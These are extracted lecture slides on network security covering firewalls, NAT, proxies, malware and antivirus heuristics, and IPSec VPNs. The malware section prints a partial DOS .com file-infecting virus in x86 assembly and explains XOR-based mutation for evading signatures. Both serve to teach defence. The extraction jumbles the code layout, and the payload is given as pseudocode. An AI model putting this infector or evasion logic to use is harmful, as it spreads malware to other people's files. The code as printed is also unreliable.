Lecture 7 CMP4103 Computer Network Security - Firewalls

Security in Information Systems: Lecture Notes in
Network Security
Due on February 3, 2011
Department of Computer Architecture (DAC)

Universitat Politècnica de Catalunya (UPC)
Jordi Nin
1
Firewalls Viruses PPS
2 - Network Security
Jordi Nin
nin@ac.upc.edu
Department of Computer Architecture (DAC)

Universitat Politècnica de Catalunya (UPC)
Security in Information Systems (SSI)
Jordi Nin 2 - Network Security and Protection
Firewalls Viruses PPS
Contents
1 Perimetral Security: Firewalls
2 Viruses, Worms and Trojans
3 Point to Point Security

Firewalls Viruses PPS Introduction Topologies Rules Proxy
Contents

Introduction
Firewall Topologies
Filtering Rules
Application Level Filtering
Definition
A firewall is a part of a computer system or network designed to

block unauthorized access while permitting authorized commu-
nications. It is a device or set of devices that is configured to
permit or deny network transmissions based on a set of rules
and other criteria.
When we need a firewall?
Anytime we need to connect a secure network to an insecure

network

Possible Attacks
Regarding Donn B. Parker senior consultant form Stanford

Research Institute:
• Tampering or Data Diddling → false data insertion

• Trojan Horse → a program not acting as expected
• Data leakage → unauthorized data dissemination
• Spoofing → use another computers IP address
• Denial of Service attacks
• ...
Preliminary Definitions
• Firewall: used to refer to the security policy and security

strategies
• Firewall system: set of hardware and software
implementing a firewall
• Bastion Host: a secure host exposed to an insecure
network
• Packet: basic Internet communication unit (datagrama)
• Dual-homed host: a computer with two network interfaces
• Network perimeter or Demilitarized Zone (DMZ): A
network added between the insecure network and the
secure network that we need to protect

Types of Firewall
• Packet filter: Packet filtering inspects each packet

passing through the network and accepts or rejects it
based on user-defined rules
• Circuit-level firewall: Applies security mechanisms when
a TCP or UDP connection is established. Once the
connection has been made, packets can flow between the
hosts without further checking
• Application gateway: Applies security mechanisms to
specific applications, such as FTP and Telnet servers
• Proxy server: Intercepts all messages entering and
leaving the network acting as an intermediary between
clients and servers. The proxy server hides the true
network addresses
Why not implement security in the hosts?
There are many reasons, as for example...
• administrate the security in many points is more difficult

than in a single one
• hosts executes a large amount of programs, i.e. the risk
increases
• network monitoring becomes easier
• internal network structure is hidden
• ...

What can a firewall do?
• It provides a single point of defense, allowing a controlled

and audited access to services provided
• It reinforces the own system’s security
• It implements a security policy to access the secure
network
• It can monitor incoming / outcoming traffic
• It can limit the exposure to an insecure network
• It may become the point to take security decisions since
all traffic goes across
What cannot a firewall do?
• It cannot protect the network against malicious attacks

from inside of the secure network
• It cannot protect the network against traffic not going
across it
• It cannot protect the network against the bugs of
authorized services
• Any application data going across has the potential of
causing problems (i.e. Trojans)
• If security policy is not deny by default, it cannot protect
the network against new attacks

Contents

Introduction
Firewall Topologies
Filtering Rules
A Simple Dual-Homed Firewall

The dual-homed firewall is one of the simplest way to use a firewall. The
Internet comes into the firewall directly via a dial-up modem. You can’t
have a DMZ.
Desktop PC
Internet
Switch or Hub
Firewall
NetWare Server
The firewall takes care of passing packets that pass its filtering rules
between the internal network and the Internet, and vice versa. The two
”homes” refer to the two networks that the firewall is part of - one
interface connected to the outside network, and the other connected to
the inside network
A Two-Legged Network with a full exposed DMZ

The router (Internet access) is connected to a hub. Servers that want
direct access to the outside world (unfiltered by the firewall) and one of
the firewall’s net adapters connect also to this hub. The other firewall’s
net adapter connects to the internal hub. PC that need to be protected
are connected to this second hub
Desktop PC
Public Network Internal Network
Internet
Switch or Hub Switch or Hub
Firewall
DMZ Zone
Netware Server
Public Webserver Public Mailserver
• Advantages: The firewall needs only two network cards. This

simplifies the configuration of the firewall
• Drawbacks: DMZ network is totally exposed to the Internet
Restricted DMZ via Dialup Firewall

To protect the DMZ network one solution is to build a second
router/firewall. This is useful if PPP is used. One machine is the exterior
router/ firewall (1). It is responsible for creating the PPP connection and
controls the access to the DMZ zone. Firewall 2 is a standard
dual-homed host and its job is to protect the internal network
Desktop PC
Internal Network 2
Internet
Switch or Hub
Firewall 1 Firewall 2
ppp dialup
Internal
Network 1
Switch or Hub Netware Server
DMZ Zone

The Three-legged firewall

We need to add one network card in the firewall for the DMZ
Desktop PC • Advantages:
Internal Network 2
DMZ IP
Internet
Switch or Hub masquerade is
Firewall possible, only one
Internal public IP address
Network 1
is needed
Switch or Hub Netware Server
• Drawbacks: one
extra net card →
DMZ Zone
additional
complexity
Contents

Introduction
Firewall Topologies
Filtering Rules

Basic Security policies
• Allow access to a service unless it is explicitly denied

• More comfortable for users
• Easier to administer
• Less secure → it can’t prevent unknown attacks or bugs
• Deny access to a service unless it is explicitly allowed
• More secure since it is very difficult to know which
services are secure and which are not
• More restrictive and less comfortable for users
Filtering Rules
Filtering rules are a set of rules for filtering/allowing certain

network traffic containing a certain port number, protocol
type, ...
Possible filtering criteria

• Origin/destination address (or network)
• Origin/destination port numbers (well-known or private)
• Protocol type (IP/TCP/UDP/ICMP)
• Connection establishment

Filtering Rule Format
iprule position action [filtering options]
• position: rule order

• action: {PERMIT | DENY}
• options:
• −i: input interface
• −o: output interface
• −p: com. protocol → {IP | TCP | UDP | ICMP}
• −s: source IP→{NETID+WILDCARD|HOST+IP|ANY}
• −d: dest. IP →{NETID+WILDCARD|HOST+IP|ANY}
• −sport: source port → [port number:port number]
• −dport: dest. port → [port number:port number]
• −state: connection state → {NEW,ESTABLISHED}
Wildcards
A wildcard mask is a 32 bit mask. It points out the IP address

bits that have to be checked. The 0 mask bits indicate that
the corresponding IP address bits have to be checked and 1
otherwise.
Example
• 145.34.5.6 0.0.0.0 → host 145.34.5.6
• 145.34.5.6 255.255.255.255 → ANY
• 145.34.5.6 0.0.0.255 → 145.34.5.0/24

Filtering Rules & Net Interfaces

eth0 out eth1 in
Internet Internal Network
eth0 in eth1 out
Firewall
Example
Internal hosts only access to WWW service and nothing else
• Rule set 1:
• iprule 1 permit -p TCP -i eth1 -o eth0 -dport 80
• iprule 2 deny -i eth1 -o eth0
• iprule 3 permit
Filtering Rules & Net Interfaces

eth0 out eth1 in
Internet Internal Network
eth0 in eth1 out
Firewall
Example
Internal hosts only access to WWW service and nothing else
• Rule set 1:
• iprule 1 permit -p TCP -i eth1 -o eth0 -dport 80
• iprule 3 permit
• Rule set 2:
• iprule 1 permit -p TCP -i eth0 -o eth1 -sport 80
• iprule 3 permit

Rule Order
Rules are only checked until a packet matches!
These two rules sets are completely different:

Rule set 1
• iprule 1 deny -p ICMP
• iprule 2 permit -p IP
Rule set 2
Rule Order
Rules are only checked until a packet matches!
These two rules sets are completely different:

Rule set 1
Rule set 2
The first rule set rejects all the ICMP packets while they are
accepted with the second set (IP includes ICMP)
Hiding Network Internals
Firewalls hide the structure of internal networks, but how?
Hiding Network Internals
Firewalls hide the structure of internal networks, but how?
NAT (Network Address Translation)
NAT is the process of modifying network address information

in IP packet headers while in transit across a traffic routing
device for the purpose of remapping one IP address space into
another

Types of NAT
NAT is out of the scope of this subject... just a small reminder
Address classification
• Inside local address: internal IP address in the internal
network
• Inside global address: internal IP address in the Internet
• Outside local address: external IP address in the internal
network
• Outside global address: external IP address in the Internet
Types of NAT
• static NAT: direct mapping between the inside local and

global addresses. Internal hosts can be accessed from the
Internet
Mapping of static addresses:
ip nat inside source static local-@ global-@
Definition of the internal interface:
ip nat inside network-interface
Definition of the external interface:
ip nat outside network-interface

Types of NAT
• dynamic NAT: a set of global addresses are dynamically
assigned. An Internal host has a different IP each time it
accesses to the Internet
Creation of a global address set:
ip nat pool name start-@ end-@
Access-list to identify the addresses to be translated:
access-list id permit network wildcard
Mapping of dynamic NAT:
ip nat inside source list id pool name
Definition of the internal / external interfaces:
Types of NAT
• PAT: All internal hosts share the same internal global IP,
ports are modified to avoid collisions
Access-list to identify the addresses to be translated:
access-list id permit network wildcard
Mapping of dynamic NAT:
ip nat inside source list id interface name
overload
Definition of the internal / external interfaces:

Contents

Introduction
Firewall Topologies
Filtering Rules
Description
a proxy server is a server that acts as an intermediary for requests from
clients seeking resources from other servers
General procedure
1 A client connects to the proxy server, requesting a service (a file or
web page) available from a different server
2 The proxy server evaluates the request according to its filtering rules
3 If the request is validated by the filter, the proxy provides the
resource by connecting to the relevant server and requesting the
service on behalf of the client

Possible Applications
• To keep machines behind it anonymous

• To speed up access to resources (using caching)
• To apply access policy to network services or content, e.g.
to block undesired sites
• To log / audit usage
• To scan transmitted content for malware before delivery
• To scan outbound content, e.g. for data leak protection
• To circumvent regional restrictions
Proxy Types and Functions I
• Caching proxy servers accelerate service requests by retrieving content saved

from a previous request. They keep local copies of frequently requested
resources
• Web proxy servers serve as a web cache. Most proxy programs provide a way
to deny access to URLs specified in a blacklist (content filtering). Some web
proxies also reformat web pages for a specific purpose or audience, such as for
cell phones and PDAs
• Anonymous proxy servers attempt to anonymize web traffic

• Open proxy (without access control): the web server receives requests
from the anonymizing proxy server, and thus does not receive
information about the end user’s address. (note that, the requests are
not anonymous to the anonymizing proxy server)
• Close proxy (with access control): authorized users must log on to gain
access to the web. The proxy administrator (a company) can thereby
track usage to individuals

Proxy Types and Functions II
• Intercepting (transparent) proxy servers combine a proxy server with a

gateway or router (with NAT capabilities). Connections made by client browsers
through the gateway are diverted to the proxy without client-side configuration
(or knowledge). They are commonly used in businesses to prevent avoidance of
acceptable use policy, and to ease administrative burden.
• Reverse proxy is a server installed in the neighborhood of one or more web
(application) servers. All traffic coming from the Internet and with a
destination to the ’client’ servers goes through the proxy server. There are
several reasons for installing reverse proxy servers:
• Encryption / SSL acceleration: Different final server clients share the
same ssl key
• Load balancing: connections are distributed among several servers
• Security: it is an additional layer of defense and it can protect against
some OS and WebServer specific attacks. However, it does not provide
any protection to attacks against the web application or service itself
• Additional services: Data compression, caching of static content
Firewalls Viruses PPS Introduction Logic Antivirus
Contents

Introduction
Viruses Main components
Antivirus

Historical evolution
The word virus has become a generic term describing a number

of different types of attacks on computers using malicious code
1949, Bell Computer labs, 3 junior programmers: create a

game called CoreWar. The object of the game is to cause all
processes of the opposing program(s) to terminate, leaving
your program in sole possession of the machine
Consequence → the computer crashes!
Economic cost
it is a safe bet that billions of dollars worth of damage have

been done over the three decades since malicious code hit the
big time (1980)
Why?
• Inactivity time due to the infection
• Cost of the cleaning time
• Cost of the counter measures (Antivirus)

Viruses and Public Health
Why do you take care about malicious code?

• You would not want to become a carrier of some awful
disease → neither your computer
• but also in using your machine to infect others
A classic example of a virus is the software used to create a

DDoS attack
Difference between Virus and Worm
Virus
A virus is a code fragment that copies itself into a larger
program, modifying that program and depending on it. A virus
executes only when its host program begins to run. The virus
then replicates itself, infecting other programs as it reproduces
Worm
A worm is an independent program that reproduces by copying
itself from one computer to another, usually over a network.
Unlike a virus, a worm keeps its independence; it usually
doesn’t modify other programs

Trojan horses
A Trojan horse is a code fragment that hides inside a program
and performs a disguised function
Example
• A Trap door is a mechanism built into a system by its
designer. Its function is to give the designer a way to
sneak back into the system, circumventing normal system
protection
• A Masquerade is a generic name for a program that
tricks an unsuspecting user into giving away privileges.
• A Spoof is a technique used for misdirection and
concealment (to hide). For instance, a communication
that the sender wishes to transmit anonymously is tagged
with a false return address
Malware Categories
Malware Incubation / Hidden Propagation / Payload /

Type Latency on Host Replication Attack
Worm Short Not Automatic Fixed
Virus Medium Yes Automatic Fixed
Trojan Long Yes (not) Manual Fixed
Spyware Long(infinite) Yes Automatic (manual) Fixed
Bots Long Yes (not) Automatic Remote Control

Contents

Introduction
Antivirus
Viruses Schema
A virus has two components:
• Replication: The survival of a virus is based in its ability to
reproduce

Viruses Schema
reproduce ... So how do I make a program reproduce? ...
Viruses Schema
Easy, the simplest common viruses infect .com (DOS executables)
files. This file format always have code starting at address 0x100,
so the virus attaches itself to the end of the file and replace the
instruction at 0x100 with a jump to its start address. Thus, the
viral code would execute whenever the file is run; then it looks for
other, uninfected, .com files and infect them

Viruses Schema
• Payload: It is usually activated just after the replication step or by
a trigger, such as a date, and it performs a set of bad things like:
Viruses Schema
• Payload: It is usually activated just after the replication step or by
a trigger, such as a date, and it performs a set of bad things like:
• Make changes to the machines protection state
• Make changes to user data (e.g. trash the disk)
• Lock the network (e.g. start replicating at maximum speed)
• Steal resources for some not allowed tasks (e.g. use the CPU
for DES keysearch)
Viruses Schema
Basic Virus Procedure

1 Search for a file to infect
2 Open the file to see if it is infected
3 If infected, search for another file
4 Else, infect the file
5 If payload execution conditions are met, it is executed
6 Return control to the host program
Example of a Simple Virus (hello world!) I

Disk Main Memory
com file Virus
0 3 com_size code data

jump
Virus Assembler Code Virus Assembler Data

vcode segment ’code’ buffer db 7d dup(0)
org 100h length db 2 dup(0)
assume cs:vcode,ds:vcode,es:vcode file inf db ’*.COM’,0
start proc far jump db ’e’,0 ;<-jump ascii
begin: start endp ;End of main procedure
push cs push cs ;Store CS twice codigo ends ;end of code segment
pop ds pop es ;Bring ds, es out end begining ;END. Go to begining
call fake proc ;IP in the stack
fake proc proc near
fake proc endp
pop bp ;bp<- proc. addr.
sub bp,107h ;bp at the begining

Example of a Simple Virus (hello world!) II
1 Search for a file

2 Open the file to see if it is infected
Virus Replication Code

;Find the first .com file in the directory
mov ah, 4eh
lea dx, bp+file inf ;DS:DX=offset of file inf
mov cx,000h ;Entry attributes
int 21h
;Open file
mov ah, 3dh ;Open the file operation
mov al, 00000010b ;read/write
mov dx, 009eh ;DX<- DTA(filename) offset
int 21h ;put the handle in AX
push ax ;and store in stack
Example of a Simple Virus (hello world!) III

Virus Infection Code (I)

;save the initial information of .com file
pop bx push bx ;take the handle from the stack to BX and store it again
mov ah, 3fh ;Read file
mov cx, 0003h ;Read 3 bytes
lea dx, bp+buffer ;and store them in the buffer (data segment)
int 21h
mov ax, 4200h ;move the write pointer to the beginning of the program
mov cx, 0000h mov dx,0000h
int 21h
;Write the first byte (jmp)
mov ah,40h mov cx,1d lea dx,bp+jump
int 21h ;write the first byte of the jump and store DX<- jump offset


Virus Infection Code (II)

;Calculating file length
mov cx,2 mov si,009ah ;SI <- DTA offset
lea di, bp+ length ;DI <- File length offset
rep movsb ;copy
;Complete the jump instruction
mov ah, 40h mov cx, 2d lea dx,bp+ length
int 21h ;dx<- length offset
;Move pointer to end
mov ax, 4202h ;Move the write pointer to the end of the program
mov cx, 0000h mov dx, 0000h
int 21h
add word ptr [bp+ length],3 ;Restore length

Virus Infection Code (III)

;Copy the virus to the program
pop bx ;Restore the handle
mov ah, 40h mov cx, length ;number of bytes to copy
lea dx, bp+begining ;Start copying from....
int 21h
printf "hello world!" ;Payload execution
;Copy the buffer containing the first 3 bytes of the file into memory
mov cx, 0003h mov di, 0100h
lea si, bp+buffer rep movsb
mov ax, 0100h ;Address needed to execute the host
jmp ax

Graphical Description
Step 0 Step 1 (failure)
buffer
jmp
com file com file virus
length length
Step 2 (com executes)
original
jmp v1
jmp
com file virus1 virus2
length
Note that, second virus infection is executed first
Contents

Introduction
Antivirus

General Description
Virus protection software uses two main techniques.

• Signatures, antivirus (AV) solutions have relied strongly
on signature-based scanning, also referred to as scan
string-based technologies. The signature-based scan
engine searches within given files for the presence of
certain strings (often also only in certain regions). If
these predefined strings are found, certain actions like
alarms can be triggered.
• Periodical analysis, the virus protection program can go
looking for trouble. It can scan the various disks and
memories of the computer, detecting and reporting
suspicious code segments, and placing them in quarantine.
Signature problem!
Signature-based virus protection programs require a constant

flow of new signatures in response to evolving attacks.
Vendors stay alert for new viruses, determine the signatures,
and then make them available as updated virus definition
tables to their users. Usually, users download new signatures
from the WWW periodically

Signature problem!
Signature-based virus protection programs require a constant

flow of new signatures in response to evolving attacks.
Vendors stay alert for new viruses, determine the signatures,
and then make them available as updated virus definition
tables to their users. Usually, users download new signatures
from the WWW periodically
Zero Day problem: It occurs when a user finds a new virus before
the publisher discovers it and can issue an updated signature.
Even worse: Mutation!
just as with biological pathogens, viruses can mutate to elude

signature detection


signature detection ... but how?...

signature detection ... but how?...
They have several options:
• a virus uses a file compression software to change its
signature when it is not active
• a virus changes its own form by introducing extra useless
statements or adding random numbers
• a virus encrypts itself, only leaving a small header
containing the code and random key to decrypt

Mutation examples
• a dummy mutation:
Mutation examples
• using a NOT gate (inverter), v = NOT (v ) → 0010110
becomes 1101001, we have to add the code to undo the
NOT just as the first virus instruction

Mutation examples
• not so dummy but still simple mutation:
Mutation examples
• generate a random variable and use a XOR gate
key db 1 dup(01101001) and XOR(v , key ) → v �

Mutation examples
• generate a random variable and use a XOR gate
key db 1 dup(01101001) and XOR(v , key ) → v �
AV Countermeasure: heuristic search methods
Heuristic Search
Heuristic scanning looks for certain instructions or commands
within a program that are not found in typical applications. As
a result, a heuristic engine is able to detect potentially
malicious functionality in new (unexamined) malicious
functionality such as the replication mechanism of a virus

Heuristic Search
Heuristic scanning looks for certain instructions or commands
within a program that are not found in typical applications. As
a result, a heuristic engine is able to detect potentially
malicious functionality in new (unexamined) malicious
functionality such as the replication mechanism of a virus
Classification of HS methods
• weight-based systems rate every functionality that is
detected with a certain weight according to the degree of
danger it may pose. If the sum of those weights reaches a
certain threshold, an alarm is triggered (Quite old system)
• rule-based systems extract certain rules from a file and
this rules are compared against a set of rules for malicious
code. If there matches a rule, an alarm is triggered
Virtual Sandbox
to determine what actions a program performs, most heuristic
scanners uses a sandboxed virtual machine

Virtual Sandbox
↓
when a user starts a program, the scanner launches it inside
the virtual machine. If no virus-like behavior is observed, the
program is allowed to start normally; if yes, the user is asked
whether the file is to be cleaned, deleted or quarantined
↓
modern scanners can detect new viruses for without signature
Virtual Sandbox
↓
when a user starts a program, the scanner launches it inside
the virtual machine. If no virus-like behavior is observed, the
program is allowed to start normally; if yes, the user is asked
whether the file is to be cleaned, deleted or quarantined
↓
modern scanners can detect new viruses for without signature
problem: heuristic scanning is computationally intensive
reducing computers performance

Components of a Heuristic Engine
1 variable/memory emulator
2 parser
3 flow analyzer
4 analyzer
5 disassembler/emulator
6 weight-based system and/or rule based system
2 parser
3 flow analyzer
4 analyzer
Firstly, we normalize the input file removing bad formatting,

renaming the variables, ...

2 parser
3 flow analyzer
4 analyzer
Then, it finds for the entry point

• binary files: only one
• script-based files: usually more than one (all should be
checked)
2 parser
3 flow analyzer
4 analyzer
Main loop:
1 Extract one instruction
2 Identify the operation
3 Update sandbox variables environment

2 parser
3 flow analyzer
4 analyzer
Finally, when the complete program is analyzed, the found

functionality can be rated (or compared with a set of rules)
and decide if the program is clean or not
Heuristic Engines and Encrypted Viruses
Historically, heuristic engines could only assess what was

visible to them


visible to them
encrypted viruses caused them major problems

visible to them
encrypted viruses caused them major problems
modern heuristic engines try to identify decryption loops,

break them, and assess the presence of an encryption loop
according to the additional functionality that is detected

So how does an AV scanner identify an encryption loop?

The presence of any combination of the following
conditions/instructions could indicate an encryption loop:
So how does an AV scanner identify an encryption loop?

The presence of any combination of the following
conditions/instructions could indicate an encryption loop:
• initialization of a pointer with a valid memory address;

• initialization of a counter;
• memory read operation depending on the pointer;
• logical operation on the memory read result;
• memory write operation with the result from the logical
operation;
• manipulation of the counter;
• branching depending on the counter.
Encryption loop example (M68k assembler)
Decryption with eor and key 1

Lea test(pc),a0
Move.l #10, d0 ;counter
.loop
move.b (a0), d1
eor.b #1, d1 ;xor with key equal to 1
move.b d1,(a0)+ ;move the offset
subq.l #1,d0 ;update the counter
bne.s .loop ;if d0 is not 0 jump to .loop
When the loop finishes the function pc is decrypt!
Alternative to Antivirus
• When computer programs are installed from original

supports (manufacturer sealed CD, DVD), it is possible to
calculate the hash of the installed files or directory and
keep this hash in a safe way (electronically signed).
• Then, before applications are executed, the hash of the

files is calculated again, and compared with the original
one, to check that no changes have been made, i.e. not
infection.

Hot News
W32.Stuxnet is a worm that propagates on USB removable media drives

by taking advantage of ”Microsoft Windows Shortcut LNK Files
Automatic File Execution Vulnerability”. It affects to the SCADA
(Supervisory Control and Data Acquisition) systems deployed in lots of
industrial systems, such as, nuclear or fuel refinement plants
Possible target: attack on Iran’s nuclear program

Online News
• Computer world UK
• ABC news
Firewalls Viruses PPS Introduction VPN Achitectures IPSec Examples
Contents

Introduction
VPN Achitectures
IPSec Fundamentals
Practical Examples

Contents

Introduction
VPN Achitectures
IPSec Fundamentals
Practical Examples
Network Layer Security
Initially computer networks were used by academic researchers

for mail (or information in general) exchange
Security was not very important
Nowadays, this is not the case, millions of users use the

Internet to access to their bank services, to buy products or
services, etc ...
Then, we need to protect network communications at the layer
that is responsible for routing packets across networks

Network Layers Description
TCP/IP is widely used throughout the world to provide

network communications. TCP/IP communications are
composed of four layers that work together
• Application layer sends and receives data for particular

applications, such as DNS, HTTP and SMTP
• Transport Layer provides connection-oriented (TCP) or
connectionless (UDP) services for transporting application layer
services between networks
• Network Layer routes packets across networks. Internet Protocol
(IP) is the fundamental protocol
• Data Link Layer handles communications on the physical network
components. The best-known data link layer protocol is Ethernet
The Need for Network Layer Security

Security controls exist for network communications at each
layer of the TCP/IP model. The goal in each layer is
• Application layer Separate controls must be established for each

application. For example, Pretty Good Privacy (PGP) is commonly
used to encrypt e-mail messages (SMTP)
• Transport Layer Controls at this layer can be used to protect the
data in a single communication session between two hosts. For
example (TLS / SSL) protocols secure HTTP traffic
• Network Layer Controls at this layer apply to all applications and
are not application-specific. For example, IPSec secures all network
communications between two hosts without modifying applications
• Data Link Layer Controls are applied to all communications on a
specific physical link, such as a dedicated circuit between two
buildings or a dial-up modem connection to an ISP
Internet Protocol Security (RFCs 4301 & 4309)
IPSec is the most commonly used network layer security control. IPsec is
a framework of open standards for ensuring private communications over
IP networks. Depending on its implementation, it can provide any
combination of the following types of protection:
• Confidentiality. IPsec can ensure that data cannot be read by

unauthorized parties. This is accomplished by encrypting data using
a cryptographic algorithm and a secret key
• Integrity. IPsec can determine if data has been changed during
transit. Data integrity can be assured by generating a message
authentication code (MAC) value, a cryptographic data checksum
• Peer Authentication. Each IPsec endpoint confirms the identity
of the other IPsec endpoint, ensuring that the network traffic and
data is being sent from the expected host
Internet Protocol Security (RFCs 4301 & 4309)
IPSec is the most commonly used network layer security control. IPsec is
a framework of open standards for ensuring private communications over
IP networks. Depending on its implementation, it can provide any
combination of the following types of protection:
• Replay Protection. The same data is not delivered multiple times,

and data is not delivered out of order. However, IPsec does not
ensure that data is delivered in the exact order in which it is sent
• Traffic Analysis Protection. A person monitoring the traffic does
not know which parties are communicating, how often
communications are occurring, or how much data is being
exchanged. However, the number of packets can be counted.
• Access Control. IPsec endpoints can perform filtering to ensure
that only authorized IPsec users can access particular network
resources
Virtual Private Networking (VPN)
The most common use of IPsec implementations is providing

Virtual Private Networking (VPN) services
A VPN is a virtual network, built on top of existing physical

networks, that can provide a secure communications
mechanism for data and IP information transmitted between
networks
As VPNs can be used over the Internet, they facilitate the

secure transfer of sensitive data across public networks
VPN Advantages
• VPNs are often less expensive than alternatives such as

dedicated private communications lines (e.g. X.25 lines)
• VPNs can also provide flexible solutions, such as securing
communications between remote telecommuters (remote
worker) and the organization’s servers, regardless of
where the telecommuters are placed
• A VPN can even be established within a single network to
protect particularly sensitive communications from other
parties on the same network (e.g. servers administration)

VPN & Cryptography
VPNs can use both private and public key cryptography
• Private key cryptography uses the same key for both

encryption and decryption, (e.g. DES, 3DES, AES, ...). It
is used for protecting the actual data because of its
relative efficiency
• Public key cryptography uses separate keys for
encryption and decryption, or to digitally sign and verify a
signature (e.g. RSA, ...). It is used to authenticate the
identities of both parties
Contents

Introduction
VPN Achitectures
IPSec Fundamentals
Practical Examples

Gateway-to-Gateway Architecture
IPsec-based VPNs are often used to provide secure network
communications between two networks by deploying a VPN gateway onto
each network and establishing a VPN connection between them.
Usually, to facilitate VPN connections, one of the VPN gateways issues a

request to the other to establish an IPsec connection. Routing on each
network is configured so that as hosts on one network need to
communicate with hosts on the other network, their network traffic is
automatically routed through the IPsec connection
This is the easiest VPN model to implement, in terms of user and host
management
Host-to-Gateway Architecture
This model is used to provide secure remote access. The organization

deploys a VPN gateway onto their network; each remote access user then
establishes a VPN connection between his/her host and the VPN gateway
IPsec connections are created as needed for each individual VPN user.
The user is typically asked by the VPN gateway to authenticate before
the connection can be established
The host-to-gateway model is somewhat complex to implement and

maintain in terms of user and host

Host-to-Host Architecture
This is the least commonly used VPN architecture. It is typically used for
special purpose needs, such as system administrators performing remote
management of a single server.
This model is the only one that provides protection for data throughout
its transit. This can be a problem, because packet firewalls, IDS, and
other devices cannot be placed to inspect the decrypted data, which
effectively circumvents certain layers of security
Model Comparison
Feature G-to-G H-to-G H-to-H

Provides protection between
No N/A N/A
client and local gateway
Provides protection between
Yes Yes Yes
VPN endpoints
Protection between remote gateway
No No N/A
and remote server (behind gateway)
Transparent to users Yes No No
Transparent to servers Yes Yes No

Contents

Introduction
VPN Achitectures
IPSec Fundamentals
Practical Examples
IPSec Components
IPsec is a collection of protocols that assist in protecting

communications over IP networks working together in various
combinations to provide protection for communications
Main protocols
• Authentication Header (AH). It provides integrity for
packets headers
• Encapsulating Security Payload (ESP). It provides
authentication and encryption services
• Internet Key Exchange (IKE). It negotiates, creates
and manges security associations (AS)

Authentication Header (AH)
AH provides integrity protection for packet headers and data,

as well as user authentication. It can optionally provide replay
protection and access protection. AH cannot encrypt any
portion of packets.
It is debatable its functionality since ESP also provides

authentication. However, AH is still of value because AH can
authenticate portions of packets that ESP cannot
AH Modes
AH provides integrity protection for the entire packet,

regardless of which mode is used.
• Tunnel mode: AH creates a new IP header for each

packet. It is used in gateways VPNs
New IP Original IP Transport and Application
AH Header
Header Header Protocol Headers and Data
Authenticated (Integrity Protection)
• Transport mode: AH does not create a new IP header.It

is used in host-to-host VPNs
IP Transport and Application Protocol
AH Header
Header Headers and Data

Integrity Protection Process

The first step of integrity protection is to create a hash by
using a keyed hash algorithm → a message authentication
code (MAC)
keyed hash algorithms create a hash based on both a message

and a secret key shared by the two endpoints. The hash is
added to the packet, and it is sent to the recipient.
The recipient can then regenerate the hash using the shared
key and confirm that the two hashes match, providing integrity
protection for the packet
Dynamic Header Fields
Certain IP header fields, such as time to live (TTL) and the IP

header checksum, are dynamic and may change during routine
communications
If the hash is calculated on all the original IP header values,

the recalculated hash will be different.
To avoid this problem, IP header fields that may legitimately

change in transit in an unpredictable manner are excluded
from the integrity protection calculations

NAT Problems
For the same reason as before AH is often incompatible with

network address translation (NAT) implementations
The IP source and destination address fields are included in

the AH integrity protection calculations
If these addresses are altered by a NAT device, the AH

integrity protection calculation made by the destination will
not match
AH Header
Next Header Payload Length Reserved
Security Parameters Index
Sequence Number
Authentication Information
• Next Header. It contains the IP protocol number for the next packet payload.
In tunnel mode, the payload is an IP packet, so the Next Header value is set to
4 for IP-in-IP. In transport mode, the payload is usually a transport-layer
protocol, often TCP (6) or UDP (17)
• Payload Length. This field contains the length of the payload in 4-byte
increments, minus 2
• Reserved. This value is reserved for future use, so it should be set to 0
• Security Parameters Index (SPI). Each endpoint has an arbitrarily chosen SPI
value, which acts as a unique identifier for the connection. The recipient uses
the SPI value, along with the destination IP address and (optionally) the IPsec
protocol type to determine which Security Association (SA) is being used
• Sequence Number. Each packet is assigned a sequential sequence number, and
only packets within a sliding window of sequence numbers are accepted. This
provides protection against replay attacks
• Authentication Information. This field contains the MAC output
How AH works
Example
ICMP echo request packet with transport mode

it only contains a single IP header
How AH works
Example
AH header for the first four packets in an AH session between A and B
• SPI. A uses the hex value cdb59934 for the SPI in its packets, while host B
uses the hex value a6b32c00 for the SPI in its packets. An AH connection is
composed of two one-way connections, each with its own SPI
• SequenceNumber. Both hosts initially set the sequence number to 1, and both
incremented the number to 2 for their second packets
• Authentication Information. The authentication (integrity protection)
information, a keyed hash based on the bytes in the packet, is different in each
packet. It should be different even if only one byte in a hashed section changes
Encapsulating Security Payload (ESP)
ESP is the second core IPsec security protocol. It provides

both encryption for packet payload data and authentication to
provide integrity protection (although not for the outermost IP
header)
ESP’s encryption and authentication can be disabled
ESP can be used to provide only encryption; encryption and

integrity protection; or only integrity protection
ESP Modes
• Tunnel mode: It creates a new IP header for each packet. The new IP header
lists the endpoints of the ESP tunnel as the source and destination of the
packet.
New IP ESP Original IP Transport and Application ESP ESP Auth.

Header Header Header Protocol Headers and Data Trailer (optional)
Encrypted
It can encrypt and/or protect the integrity of both the data and the original IP
header. Encrypting the data protects it from being accessed or modified by
unauthorized parties; encrypting the IP header conceals the nature of the
communications, such as the actual source or destination of the packet. If
authentication is being used for integrity protection, each packet will have an
ESP Authentication section after the ESP trailer

ESP Modes
• Transport mode: it uses the original IP header instead of creating a new one.
IP ESP Transport and Application ESP ESP Auth.

Header Header Protocol Headers and Data Trailer (optional)
Encrypted
It can only encrypt and/or protect the integrity of packet payloads and certain
ESP components, but not IP headers. As with AH, ESP transport mode is
generally only used in host-to-host architectures. Also, transport mode is
incompatible with NAT
Encryption Process
ESP uses symmetric cryptography to provide encryption for

IPsec packets. Both endpoints must use the same key to
encrypt and decrypt the packets.
When an endpoint encrypts data, it divides the data into small

blocks (e.g. for the AES algorithm, 128 bits each), and then
performs multiple sets of cryptographic operations using the
data blocks and shared key
When the other endpoint receives the encrypted data, it

performs decryption using the same key and a similar process
ESP Packet Fields
Each ESP header is composed of two fields:

• SPI. Each endpoint of each IPsec connection has an arbitrarily chosen SPI
value, which acts as a unique identifier for the connection. The recipient uses
the SPI value, along with the destination IP address and (optionally) the IPsec
protocol type (in this case, ESP), to determine which SA is being used
• SequenceNumber. Each packet is assigned a sequential sequence number ,and
only packets within a sliding window of sequence numbers are accepted. This
provides protection against replay attacks
ESP Packet Fields
The next part of the packet is the payload. It is composed of

• Payload data. It is is encrypted,
• Initialization vector (IV). It is not encrypted.The IV is used during encryption.
Its value is different in every packet, so if two packets have the same content,
the inclusion of the IV will cause the encryption of the two packets to have
different results

ESP Packet Fields
The third part of the packet is the ESP trailer, which contains
• Padding. An ESP packet may optionally contain padding, which is additional
bytes of data that make the packet larger and are discarded by the packets
recipient. Because ESP uses block ciphers for encryption, padding may be
needed so that the encrypted data is an integral multiple of the block size
• Padding Length. This number indicates how many bytes long the padding is
